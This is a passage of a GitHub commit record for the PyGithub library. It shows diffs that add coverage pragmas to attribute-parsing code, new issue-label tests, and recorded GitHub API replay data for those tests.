attributes[ \"watchers\" ]","additions":31,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","filename":"src/github/RepositoryKey.py","patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":8,"deletions":4,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","filename":"src/github/Tag.py","patch":"@@ -38,15 +38,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", \"tarball_url\", \"zipball_url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None:\n+ if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tarball_url\" ], str )\n self.__tarball_url = attributes[ \"tarball_url\" ]\n- if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None:\n+ if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"zipball_url\" ], str )\n self.__zipball_url = attributes[ \"zipball_url\" ]","additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","filename":"src/github/Team.py","patch":"@@ -172,15 +172,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"members_count\", \"name\", \"permission\", \"repos_count\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None:\n+ if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None: # pragma no branch\n self.__members_count = attributes[ \"members_count\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"permission\" in attributes and attributes[ \"permission\" ] is not None:\n+ if \"permission\" in attributes and attributes[ \"permission\" ] is not None: # pragma no branch\n self.__permission = attributes[ \"permission\" ]\n- if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None:\n+ if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None: # pragma no branch\n self.__repos_count = attributes[ \"repos_count\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","filename":"src/github/UserKey.py","patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":26,"deletions":1,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","filename":"test/IssueEvent.py","patch":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.event.actor.login, \"jacquev6\" )\r\n- self.assertEqual( self.event.commit_id, None )\r\n- self.assertEqual( self.event.created_at, \"2012-05-19T10:38:23Z\" )\r\n- self.assertEqual( self.event.event, \"subscribed\" )\r\n- self.assertEqual( self.event.id, 15819975 )\r\n- self.assertEqual( self.event.issue.number, 28 )\r\n- self.assertEqual( self.event.url, \"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\" )\r\n+ self.assertEqual( self.event.commit_id, \"ed866fc43833802ab553e5ff8581c81bb00dd433\" )\r\n+ self.assertEqual( self.event.created_at, \"2012-05-27T07:29:25Z\" )\r\n+ self.assertEqual( self.event.event, \"referenced\" )\r\n+ self.assertEqual( self.event.id, 16348656 )\r\n+ self.assertEqual( self.event.issue.number, 30 )\r\n+ self.assertEqual( self.event.url, \"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\" )\r","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"added","changes":45,"deletions":0,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","additions":45,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"added","changes":35,"deletions":0,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","additions":35,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"added","changes":5,"deletions":0,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","filename":"test/ReplayData/IssueEvent.setUp.txt","patch":"@@ -1,15 +1,15 @@\n GET /user {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4907'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"99c9bfb75395b749e9913a4729126fb5\"'), ('date', 'Sun, 27 May 2012 07:19:30 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"private_gists\":5,\"type\":\"User\",\"company\":\"Criteo\",\"location\":\"Paris, France\",\"hireable\":false,\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"bio\":\"\",\"following\":24,\"blog\":\"http://vincent-jacques.net\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"total_private_repos\":5,\"followers\":13,\"owned_private_repos\":5,\"disk_usage\":16976,\"collaborators\":0,\"html_url\":\"https://github.com/jacquev6\",\"url\":\"https://api.github.com/users/jacquev6\",\"name\":\"Vincent Jacques\",\"login\":\"jacquev6\",\"public_repos\":11,\"public_gists\":3,\"email\":\"vincent@vincent-jacques.net\",\"id\":327146,\"plan\":{\"private_repos\":5,\"collaborators\":1,\"name\":\"micro\",\"space\":614400},\"created_at\":\"2010-07-09T06:10:06Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8974bb1628a3e3a6d3eb3b08c1b5a46b\"'), ('date', 'Sun, 27 May 2012 07:32:54 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"type\":\"User\",\"bio\":\"\",\"disk_usage\":16976,\"total_private_repos\":5,\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"owned_private_repos\":5,\"collaborators\":0,\"plan\":{\"collaborators\":1,\"private_repos\":5,\"name\":\"micro\",\"space\":614400},\"company\":\"Criteo\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"email\":\"vincent@vincent-jacques.net\",\"public_gists\":3,\"followers\":13,\"name\":\"Vincent Jacques\",\"created_at\":\"2010-07-09T06:10:06Z\",\"blog\":\"http://vincent-jacques.net\",\"location\":\"Paris, France\",\"hireable\":false,\"id\":327146,\"private_gists\":5,\"public_repos\":11,\"following\":24,\"html_url\":\"https://github.com/jacquev6\"}\n \n GET /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4906'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"4c20acf0b23f75bbf25106b1a04f65a5\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"description\":\"Python library implementing the full Github API v3\",\"full_name\":\"jacquev6/PyGithub\",\"has_wiki\":false,\"has_issues\":true,\"updated_at\":\"2012-05-27T06:55:28Z\",\"forks\":3,\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"open_issues\":16,\"fork\":false,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"size\":308,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"private\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"owner\":{\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"has_downloads\":true,\"language\":\"Python\",\"watchers\":15,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"id\":3544490,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"created_at\":\"2012-02-25T12:53:47Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"f1e4eb3993a364b66b68ec9db42405bd\"'), ('date', 'Sun, 27 May 2012 07:32:55 GMT'), ('content-type', 'application/json; 